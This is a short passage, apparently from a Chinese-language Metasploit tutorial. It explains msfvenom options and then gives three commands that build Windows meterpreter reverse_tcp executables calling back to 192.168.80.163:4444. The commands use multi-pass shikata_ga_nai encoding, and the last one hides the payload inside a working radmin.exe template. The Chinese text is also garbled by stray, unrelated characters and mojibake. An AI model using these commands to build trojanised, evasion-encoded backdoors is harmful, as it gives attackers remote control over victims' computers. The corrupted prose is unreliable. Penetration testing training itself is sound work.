--list 列出所有可用的payloads,encoders,nops
--help-formats 查看支持的輸出格式
-b 指定需要過濾的壞字符,使用-b選項后神汹,會自動選擇編碼方式
-e 指定需要使用的編碼成艘,如果既沒用-e選項也沒用-b選項盆顾,則輸出raw payload
-i 指定payload的編碼次數(shù)
-x 指定一個exe文件作為模板
-k 保護模板程序的功能类咧,注入的payload作為一個新的進(jìn)程運行
root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.80.163 LPORT=4444 -e x86/shikata_ga_nai -i 10 -f exe -o a.exe
root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.80.163 LPORT=4444 -b '\x00\xff' -i 10 -f exe -o b.exe
root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.80.163 LPORT=4444 -e x86/shikata_ga_nai -k -x /usr/share/windows-binaries/radmin.exe -f exe -o radmin.exe